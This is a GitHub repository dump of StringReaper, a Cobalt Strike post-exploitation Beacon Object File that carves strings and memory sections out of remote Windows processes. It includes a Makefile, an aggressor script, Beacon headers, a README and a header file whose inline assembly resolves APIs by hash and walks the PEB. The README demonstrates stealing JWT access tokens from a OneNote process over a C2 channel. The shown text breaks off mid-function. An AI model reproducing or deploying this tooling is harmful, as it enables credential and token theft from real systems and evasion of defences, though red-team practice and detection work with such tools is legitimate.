├── StringReaper.o ├── images ├── compile.png ├── stringreaper.png └── csdownloadstab.png ├── Makefile ├── LICENSE ├── StringReaper.cna ├── beacon.h ├── README.md ├── StringReaper.h └── StringReaper.c /StringReaper.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/StringReaper/HEAD/StringReaper.o -------------------------------------------------------------------------------- /images/compile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/StringReaper/HEAD/images/compile.png -------------------------------------------------------------------------------- /images/stringreaper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/StringReaper/HEAD/images/stringreaper.png -------------------------------------------------------------------------------- /images/csdownloadstab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/StringReaper/HEAD/images/csdownloadstab.png -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | NAME := StringReaper 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | all: 5 | x86_64-w64-mingw32-gcc $(NAME).c -O0 -c -o $(NAME).o -masm=intel 6 | clean: 7 | rm $(BOFNAME).o 8 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Bobby Cooke 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /StringReaper.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "StringReaper", 3 | "get information from remote process", 4 | "Usage: StringReaper 5 | [mode] 6 | download : download memory sections to CS Downloads tab (options) 7 | strings : parse strings from memory sections and download to CS Downloads tab (options) 8 | list : list all allocated memory sections in remote process (options) 9 | peb : display PEB information (no options) 10 | env : output remote process env strings (no options) 11 | [option1] 12 | all 13 | private 14 | image 15 | mapped 16 | [option2] 17 | all 18 | r 19 | rw 20 | rwx" 21 | ); 22 | 23 | alias StringReaper { 24 | if(size(@_) > 5) 25 | { 26 | berror($1, "Incorrect usage!"); 27 | berror($1, beacon_command_detail("StringReaper")); 28 | return; 29 | } 30 | local('$handle $data $args'); 31 | $handle = openf(script_resource("StringReaper.o")); 32 | $data = readb($handle, -1); 33 | closef($handle); 34 | $args = bof_pack($1, "izzz",$2,$3,$4,$5); 35 | beacon_inline_execute($1, $data, "go", $args); 36 | } 37 | -------------------------------------------------------------------------------- /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | #define CALLBACK_FILE 0x02 46 | #define CALLBACK_FILE_WRITE 0x08 47 | #define CALLBACK_FILE_CLOSE 0x09 48 | 49 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 50 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 51 | 52 | /* Token Functions */ 53 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 54 | DECLSPEC_IMPORT void BeaconRevertToken(); 55 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 56 | 57 | /* Spawn+Inject Functions */ 58 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 59 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 62 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess (BOOL x86, BOOL ignoreToken, STARTUPINFO * sInfo, PROCESS_INFORMATION * pInfo); 63 | 64 | /* Utility Functions */ 65 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # StringReaper 2 | _Reaping treasures from strings in remote process memory_ 3 | ![](./images/stringreaper.png) 4 | 5 | CobaltStrike BOF designed to carve strings out of remote process memory. This tool allows operators to carve ASCII and UTF-16 strings from targeted processes, making it effective for retrieving JWT tokens, credentials, and other sensitive data directly from memory. Over the past 3 years i've had great success in using this tool on engagements. Saves time when oping from a C2 where you don't want to have to wait on a full process dump or deal with download size issues. 6 | 7 | Extracted strings are saved as ASCII in an output file. It uses [@anthemtotheego](https://x.com/anthemtotheego)'s code to download the output files to the CS `Downloads Tab`. If the target data isn't strings, the alternative `download` mode enables full memory section extraction. 8 | 9 | Supports filtering memory regions by type (`private`, `image`, `mapped`, or `all`) and access permissions (`r`, `rw`, `rwx`, or `all`). 10 | 11 | Also has some additional features such as: 12 | - `list` mode 13 | - List the target memory sections details. Useful to make sure you don't accidently commit to downloading a massive amount of memory over the wire. 14 | - I use this to check before I use the `strings` or `download` modes. 15 | - `peb` mode 16 | - Displays some of the remote processes PEB. Shows CLI strings, etc. 17 | - `env` mode 18 | - Display all the environment strings of the remote process in the CS console stdout. 19 | 20 | # Demo 21 | _Below is a demo of getting JWT access tokens from the OneNote process `onenoteim.exe`_ 22 | - First find the process id for OneNote: 23 | ``` 24 | [02/07 16:44:28] beacon> ps 25 | [02/07 16:44:29] [*] Process List 26 | PID PPID Name Arch Session User 27 | --- ---- ---- ---- ------- ---- 28 | 11576 740 onenoteim.exe x64 1 SECURE\user 29 | ... 30 | ``` 31 | - Add the BOF to CS using the Script Console and `StringReaper.cna` aggressor script 32 | - Use the BOF to get all the strings from read-write heap memory `private rw`: 33 | ``` 34 | [02/07 16:45:08] beacon> StringReaper 11576 strings private rw 35 | [02/07 16:45:09] [*] started download of memstrings.bin (54784 bytes) 36 | [02/07 16:45:09] [*] download of memstrings.bin is complete 37 | ``` 38 | - Go to downloads tab and sync the `memdump.bin` or `memstrings.bin` file 39 | ![](./images/csdownloadstab.png) 40 | 41 | - Then view it locally with `cat`/`vi`/`more`/`less`/`grep`/etc 42 | ```bash 43 | 0xBoku@kamehameha:~/Desktop/out$ cat memstrings.bin | grep ey 44 | ope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> 45 |
46 | RS_ImmersiveCache16.0.14326.220941.0
48 | eyJ0eXAiOiJKV1QiLCJub25jZSI6IjNtYlJlU2FETWpBM2ZrY1B6cnBVclRBZzM1ZG1qYnFzbHVIbkZMdzdkTkUiLCJhbGciOiJSUzI1NiIsIng1dCI6IllUY2VPNUlKeXlxUjZqekRTNWlBYnBlNDJKdyIsImtpZCI6IllUY2VPNUlKeXlxUjZqekRTNWlBYnBlNDJKdyJ9.eyJhdWQiOiJo.. 49 | ``` 50 | 51 | -------------------------------------------------------------------------------- /StringReaper.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include "beacon.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 9 | WINBASEAPI BOOL WINAPI KERNEL32$SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout); 10 | WINBASEAPI BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 11 | WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 12 | WINBASEAPI BOOL WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); 13 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); 14 | WINBASEAPI BOOL WINAPI KERNEL32$WaitNamedPipeA(LPCSTR lpNamedPipeName, DWORD nTimeOut); 15 | WINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 16 | WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T); 17 | WINBASEAPI void* WINAPI MSVCRT$free(void*); 18 | WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount); 19 | WINBASEAPI void WINAPI MSVCRT$srand(int initial); 20 | WINBASEAPI int WINAPI MSVCRT$rand(); 21 | WINBASEAPI time_t WINAPI MSVCRT$time(time_t* time); 22 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 23 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 24 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 25 | WINBASEAPI void * WINAPI KERNEL32$AddVectoredExceptionHandler(ULONG First, PVECTORED_EXCEPTION_HANDLER Handler); 26 | WINBASEAPI void * WINAPI KERNEL32$RemoveVectoredExceptionHandler(PVOID Handle); 27 | WINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds); 28 | WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 29 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 30 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 31 | #define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 32 | #define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) 33 | #define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) 34 | #define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) 35 | 36 | #define Error 0x42 37 | #define noError 0x41 38 | #define XORKEY 0xBC 39 | #define ADD(Type, A, B) (Type)((unsigned __int64) A + B) 40 | #define DREF32(VA)*(unsigned long*)(VA) 41 | #define STATUS_SUCCESS 0x0 42 | 43 | void* getDllBase(void*); 44 | void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey); 45 | void* hash2Address(unsigned __int64 hash, void* dllBase, void* AddressTable, void* NameTable, void* OrdinalTable); 46 | unsigned char* hasher(int stringLen, char* string); 47 | unsigned __int64 xstrlen(char* string); 48 | unsigned __int64 xChkStrlen(char* string); 49 | void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize); 50 | 51 | 52 | void* getUnicodeStrLen(void* envStrAddr) { 53 | void* unicodeStrLen = NULL; 54 | __asm__( 55 | "mov rax, %[envStrAddr] \n" 56 | "xor rbx, rbx \n" // RBX is our 0x00 null to compare the string position too 57 | "xor rcx, rcx \n" // RCX is our string length counter 58 | "check: \n" 59 | "inc rcx \n" 60 | "cmp bl, [rax + rcx] \n" 61 | "jne check \n" 62 | "inc rcx \n" 63 | "cmp bl, [rax + rcx] \n" 64 | "jne check \n" 65 | "mov %[unicodeStrLen], rcx \n" 66 | :[unicodeStrLen] "=r" (unicodeStrLen) 67 | :[envStrAddr] "r" (envStrAddr) 68 | ); 69 | return unicodeStrLen; 70 | } 71 | 72 | __asm__( 73 | "getDllBase: \n" 74 | "mov rbx, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB 75 | "mov rbx, [rbx+0x18] \n" // _PEB_LDR_DATA 76 | "mov rbx, [rbx+0x20] \n" // InMemoryOrderModuleList - First Entry (probably the host PE File) 77 | "mov r11, rbx \n" 78 | "crawl: \n" 79 | "mov rdx, [rbx+0x50] \n" // BaseDllName Buffer 80 | "push rbx \n" // just to save its value 81 | "call cmpwstrings \n" 82 | "pop rbx \n" 83 | "cmp rax, 0x1 \n" 84 | "je found \n" 85 | "mov rbx, [rbx] \n" // InMemoryOrderLinks Next Entry 86 | "cmp r11, [rbx] \n" // Are we back at the same entry in the list? 87 | "jne crawl \n" 88 | "xor rax, rax \n" // DLL is not in InMemoryOrderModuleList, return NULL 89 | "jmp end \n" 90 | "found: \n" 91 | "mov rax, [rbx+0x20] \n" // DllBase Address in process memory 92 | "end: \n" 93 | "ret \n" 94 | "makeWideString: \n" 95 | "xor rax, rax \n" // counter 96 | "makews: \n" 97 | "add rdx, rax \n" // add counter 98 | "add rcx, rax \n" // add counter 99 | "add rcx, rax \n" // add counter again 100 | "dec rcx \n" // decrease by 1 101 | "mov bl, 0x0 \n" // write nulbyte 102 | "mov [rcx], bl \n" 103 | "inc rcx \n" // increase again 104 | "mov bl, [rdx] \n" 105 | "mov [rcx], bl \n" // copy char 106 | "cmp bl, 0x0 \n" 107 | "je madews\n" 108 | "inc rax \n" 109 | "jmp makews \n" 110 | "madews: \n" 111 | "ret \n" 112 | "cmpwstrings: \n" 113 | "xor rax, rax \n" // counter 114 | "cmpchar: \n" 115 | "mov sil, [rcx+rax] \n" // load char 116 | "cmp sil, 0x0 \n" 117 | "je nolow1 \n" 118 | "or sil, 0x20 \n" // make lower case 119 | "nolow1: \n" 120 | "mov dil, [rdx+rax] \n" // load char 121 | "cmp dil, 0x0 \n" 122 | "je nolow2 \n" 123 | "or dil, 0x20 \n" // make lower case 124 | "nolow2: \n" 125 | "cmp sil, dil \n" // compare 126 | "jne nonequal \n" 127 | "cmp sil, 0x0 \n" // end of string? 128 | "je equal \n" 129 | "inc rax \n" 130 | "inc rax \n" 131 | "jmp cmpchar \n" 132 | "nonequal: \n" 133 | "mov rax, 0x0 \n" // return "false" 134 | "ret \n" 135 | "equal: \n" 136 | "mov rax, 0x1 \n" // return "true" 137 | "ret \n" 138 | ); 139 | 140 | typedef struct Export { 141 | void* Directory; 142 | void* AddressTable; 143 | void* NameTable; 144 | void* OrdinalTable; 145 | }Export; 146 | 147 | typedef struct DL { 148 | void* dllBase; 149 | void* NewExeHeader; 150 | unsigned __int64 size; 151 | void* OptionalHeader; 152 | void* NthSection; 153 | unsigned short NumberOfSections; 154 | void* EntryPoint; 155 | void* TextSection; 156 | unsigned __int64 TextSectionSize; 157 | Export Export; 158 | }DL; 159 | typedef struct _PEB_LDR_DATA { 160 | ULONG Length; 161 | BOOL Initialized; 162 | LPVOID SsHandle; 163 | LIST_ENTRY InLoadOrderModuleList; 164 | LIST_ENTRY InMemoryOrderModuleList; 165 | LIST_ENTRY InInitializationOrderModuleList; 166 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 167 | 168 | #define RTL_MAX_DRIVE_LETTERS 32 169 | 170 | typedef struct _UNICODE_STRING 171 | { 172 | USHORT Length; 173 | USHORT MaximumLength; 174 | PWSTR Buffer; 175 | } UNICODE_STRING, * PUNICODE_STRING; 176 | 177 | typedef struct _OBJECT_ATTRIBUTES 178 | { 179 | ULONG uLength; 180 | HANDLE hRootDirectory; 181 | PVOID pObjectName; 182 | ULONG uAttributes; 183 | PVOID pSecurityDescriptor; 184 | PVOID pSecurityQualityOfService; 185 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 186 | 187 | typedef struct _CLIENT_ID 188 | { 189 | HANDLE pid; 190 | HANDLE UniqueThread; 191 | 192 | } CLIENT_ID, * PCLIENT_ID; 193 | 194 | typedef enum _PROCESSINFOCLASS { 195 | ProcessBasicInformation = 0, 196 | ProcessDebugPort = 7, 197 | ProcessWow64Information = 26, 198 | ProcessImageFileName = 27, 199 | ProcessBreakOnTermination = 29 200 | } PROCESSINFOCLASS; 201 | 202 | typedef enum _MEMORY_INFORMATION_CLASS { 203 | MemoryBasicInformation 204 | } MEMORY_INFORMATION_CLASS; 205 | 206 | typedef long(NTAPI* tNtReadVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PVOID NumberOfBytesRead); 207 | typedef long(NTAPI* tNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 208 | typedef long(NTAPI* tNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); 209 | typedef long(NTAPI* tNtClose)(HANDLE Handle); 210 | typedef long(NTAPI* tNtQueryVirtualMemory)( HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); 211 | 212 | typedef struct ntapis { 213 | tNtReadVirtualMemory NtReadVirtualMemory; 214 | tNtOpenProcess NtOpenProcess; 215 | tNtQueryInformationProcess NtQueryInformationProcess; 216 | tNtClose NtClose; 217 | tNtQueryVirtualMemory NtQueryVirtualMemory; 218 | }ntapis; 219 | 220 | void Memcpy(void * destination, void * source, unsigned int num); 221 | 222 | 223 | __asm__( 224 | // void* hash2Address(qword hash,void* dllBase, void* AddressTable, void* NameTable, void* OrdinalTable); 225 | // RCX RDX R8 R9 [RSP+0x28] 226 | "hash2Address: \n" 227 | "mov [rsp+0x08], rcx \n" // hash 228 | "mov [rsp+0x10], rdx \n" // dllBase 229 | "mov [rsp+0x18], r8 \n" // AddressTable 230 | "mov [rsp+0x20], r9 \n" // NameTable 231 | "xor r11, r11 \n" 232 | "lFindSym: \n" 233 | "xor rcx, rcx \n" // Clear RDI for setting up string name retrieval 234 | "mov ecx, [r9+r11*4] \n" // RVA NameString = [&NamePointerTable + (Counter * 4)] 235 | "add rcx, [rsp+0x10] \n" // &NameString = RVA NameString + &module.dll 236 | "mov r12, rcx \n" // Save &NameString to R12 237 | "call xstrlen \n" // xstrlen("NameString") 238 | "mov rcx, rax \n" // rcx = strlen 239 | "mov rdx, r12 \n" // rdx = &NameString 240 | "call hasher \n" // rax = hasher(qword strlen, &NameString) 241 | "mov rdx, [rsp+0x08] \n" // rdx = name hash 242 | "cmp rax, rdx \n" // import name hash == our hash ? 243 | "je FoundSym \n" // If match then we found the API string. Now we need to find the Address of the API 244 | "inc r11 \n" // Increment to check if the next name matches 245 | "jmp short lFindSym \n" // Jump back to start of loop 246 | "FoundSym: \n" 247 | "mov rcx, [rsp+0x28] \n" // &OrdinalTable 248 | "xor rax, rax \n" 249 | "mov ax, [rcx+r11*2] \n" // [&OrdinalTable + (Counter*2)] = ordinalNumber of module. 250 | "mov eax, [r8+rax*4] \n" // RVA API = [&AddressTable + API OrdinalNumber] 251 | "add rax, [rsp+0x10] \n" // module. = RVA module. + module.dll BaseAddress 252 | "sub rcx, rax \n" // See if our symbol address is greater than the OrdinalTable Address. If so its a forwarder to a different API 253 | "jns notForwarder \n" // If forwarder, result will be negative and Sign Flag is set (SF), jump not sign = jns 254 | "xor rax, rax \n" // If forwarder, return 0x0 and exit 255 | "notForwarder: \n" 256 | "ret \n" 257 | 258 | // Clobbers: RAX RCX 259 | "xstrlen:\n" // Get the string length for the string 260 | "push r9\n" // Save register value 261 | "mov rax, rcx\n" // RAX = string address 262 | "mov rcx, 0x0\n" 263 | "ctLoop:\n" 264 | "mov r9, 0x0\n" 265 | "cmp r9b, [rax]\n" // are we at the null terminator for the string? 266 | "je fLen\n" 267 | "inc cl\n" // increment the name string length counter 268 | "inc rax\n" // move to the next char of the string 269 | "jmp short ctLoop\n" 270 | "fLen:\n" 271 | "mov rax, rcx\n" 272 | "pop r9\n" // restore register 273 | "ret\n" 274 | 275 | // Clobbers: RAX RCX 276 | "xChkStrlen:\n" // Get the string length for the string 277 | "push r9\n" // Save register value 278 | "mov rax, rcx\n" // RAX = string address 279 | "mov rcx, 0x0\n" 280 | "xChkStrLoop:\n" 281 | "mov r9, 0x0\n" 282 | "cmp r9b, [rax]\n" // are we at the null terminator for the string? 283 | "je xChkStrfLen\n" 284 | // "mov dl, 0x30 \n" 285 | // "cmp r9b, dl \n " // if less ascii 0x30 then end 286 | // "jl xChkStrfLen\n" 287 | "mov dl, 0x7A \n" 288 | "cmp r9b, dl \n " // if greater than ascii 0x7A then end 289 | "jg notAString\n" 290 | "inc cl\n" // increment the name string length counter 291 | "inc rax\n" // move to the next char of the string 292 | "jmp short xChkStrLoop\n" 293 | "notAString: \n" 294 | "mov rcx, 0x0\n" 295 | "xChkStrfLen:\n" 296 | "mov rax, rcx\n" 297 | "pop r9\n" // restore register 298 | "ret\n" 299 | 300 | 301 | 302 | // Clobbers: RAX RDX RCX 303 | "hasher: \n" 304 | "xor rax, rax \n" 305 | "h1loop: \n" 306 | "add al, [rdx] \n" 307 | "xor al, 0x70 \n" 308 | "rol rax, 0x8 \n" 309 | "inc rdx \n" 310 | "dec rcx \n" 311 | "test cl, cl \n" 312 | "jnz h1loop \n" 313 | "ret \n" 314 | 315 | "Memcpy: \n" // RAX, RBX, RCX, RDX, R8 316 | "xor r10, r10 \n" 317 | "test r8, r8 \n" // check if r8 = 0 318 | "jne copy1 \n" // if r8 == 0, ret 319 | "ret \n" // Return to caller 320 | "copy1: \n" 321 | "dec r8 \n" // Decrement the counter 322 | "mov r10b, [rdx] \n" // Load the next byte to write 323 | "mov [rcx], r10b \n" // write the byte 324 | "inc rdx \n" // move rdx to next byte of source 325 | "inc rcx \n" // move rcx to next byte of destination 326 | "test r8, r8 \n" // check if r8 = 0 327 | "jne copy1 \n" // if r8 != 0, then write next byte via loop 328 | "ret \n" // Return to Memcpy() 329 | 330 | ); 331 | 332 | 333 | #define STATUS_BUFFER_TOO_SMALL 0xC0000004 334 | 335 | typedef struct _RTL_DRIVE_LETTER_CURDIR { 336 | USHORT Flags; 337 | USHORT Length; 338 | ULONG TimeStamp; 339 | UNICODE_STRING DosPath; 340 | } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; 341 | 342 | typedef struct _CURDIR 343 | { 344 | UNICODE_STRING DosPath; 345 | PVOID Handle; 346 | } CURDIR, * PCURDIR; 347 | 348 | 349 | typedef struct _RTL_USER_PROCESS_PARAMETERS 350 | { 351 | ULONG MaximumLength; 352 | ULONG Length; 353 | 354 | ULONG Flags; 355 | ULONG DebugFlags; 356 | 357 | HANDLE ConsoleHandle; 358 | ULONG ConsoleFlags; 359 | HANDLE StandardInput; 360 | HANDLE StandardOutput; 361 | HANDLE StandardError; 362 | 363 | CURDIR CurrentDirectory; 364 | UNICODE_STRING DllPath; 365 | UNICODE_STRING ImagePathName; 366 | UNICODE_STRING CommandLine; 367 | PVOID Environment; 368 | 369 | ULONG StartingX; 370 | ULONG StartingY; 371 | ULONG CountX; 372 | ULONG CountY; 373 | ULONG CountCharsX; 374 | ULONG CountCharsY; 375 | ULONG FillAttribute; 376 | 377 | ULONG WindowFlags; 378 | ULONG ShowWindowFlags; 379 | UNICODE_STRING WindowTitle; 380 | UNICODE_STRING DesktopInfo; 381 | UNICODE_STRING ShellInfo; 382 | UNICODE_STRING RuntimeData; 383 | RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; 384 | 385 | ULONG EnvironmentSize; 386 | ULONG EnvironmentVersion; 387 | PVOID PackageDependencyData; 388 | ULONG ProcessGroupId; 389 | ULONG LoaderThreads; 390 | } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; 391 | 392 | 393 | typedef 394 | VOID 395 | (NTAPI* PPS_POST_PROCESS_INIT_ROUTINE) ( 396 | VOID 397 | ); 398 | 399 | typedef struct _PEB { 400 | unsigned char InheritedAddressSpace; 401 | unsigned char ReadImageFileExecOptions; 402 | unsigned char BeingDebugged; 403 | unsigned char BitField; 404 | unsigned char Padding; 405 | void* Mutant; 406 | void* ImageBaseAddress; 407 | PPEB_LDR_DATA Ldr; 408 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 409 | void* SubSystemData; 410 | void* ProcessHeap; 411 | void* FastPebLock; 412 | void* AtlThunkSListPtr; 413 | void* IFEOKey; 414 | void* ReservedBits0; 415 | void* KernelCallbackTable; 416 | unsigned long Reserved8; 417 | unsigned long AtlThunkSListPtr32; 418 | void* ApiSetMap; 419 | unsigned long TlsExpansionCounter; 420 | void* TlsBitmap; 421 | unsigned long TlsBitmapBits[2]; 422 | void* ReadOnlySharedMemoryBase; 423 | void* SharedData; 424 | PVOID* ReadOnlyStaticServerData; 425 | void* AnsiCodePageData; 426 | void* OemCodePageData; 427 | void* UnicodeCaseTableData; 428 | unsigned long NumberOfProcessors; 429 | unsigned long NtGlobalFlag; 430 | void* CriticalSectionTimeout; 431 | unsigned long* HeapSegmentReserve; 432 | unsigned long* HeapSegmentCommit; 433 | unsigned long* HeapDeCommitTotalFreeThreshold; 434 | unsigned long* HeapDeCommitFreeBlockThreshold; 435 | ULONG NumberOfHeaps; 436 | ULONG MaximumNumberOfHeaps; 437 | PVOID* ProcessHeaps; 438 | void* GdiSharedHandleTable; 439 | void* ProcessStarterHelper; 440 | ULONG GdiDCAttributeList; 441 | void* LoaderLock; 442 | ULONG OSMajorVersion; 443 | ULONG OSMinorVersion; 444 | USHORT OSBuildNumber; 445 | WORD wOSCSDVersion; 446 | DWORD dwOSPlatformId; 447 | DWORD dwImageSubsystem; 448 | DWORD dwImageSubsystemMajorVersion; 449 | DWORD dwImageSubsystemMinorVersion; 450 | DWORD dwImageProcessAffinityMask; 451 | DWORD dwGdiHandleBuffer[34]; 452 | void* lpPostProcessInitRoutine; 453 | void* lpTlsExpansionBitmap; 454 | DWORD dwTlsExpansionBitmapBits[32]; 455 | DWORD dwSessionId; 456 | void* liAppCompatFlags; 457 | void* liAppCompatFlagsUser; 458 | LPVOID lppShimData; 459 | LPVOID lpAppCompatInfo; 460 | UNICODE_STRING usCSDVersion; 461 | LPVOID lpActivationContextData; 462 | LPVOID lpProcessAssemblyStorageMap; 463 | LPVOID lpSystemDefaultActivationContextData; 464 | LPVOID lpSystemAssemblyStorageMap; 465 | DWORD dwMinimumStackCommit; 466 | } PEB, * PPEB; 467 | 468 | typedef struct _PROCESS_BASIC_INFORMATION { 469 | PVOID Reserved1; 470 | PPEB PebBaseAddress; 471 | PVOID Reserved2[2]; 472 | ULONG_PTR UniqueProcessId; 473 | PVOID Reserved3; 474 | } PROCESS_BASIC_INFORMATION; 475 | typedef PROCESS_BASIC_INFORMATION* PPROCESS_BASIC_INFORMATION; 476 | 477 | DWORD xstrcmp(PVOID string1, PVOID string2, unsigned __int64 Count); 478 | 479 | __asm__( 480 | "xstrcmp:\n" 481 | "push rsi \n" // save 482 | "push rdi \n" // save 483 | "mov rdi, rcx\n" // RDI = string1 484 | "mov rsi, rdx\n" // RSI = string2 485 | "mov rcx, r8\n" // RCX = 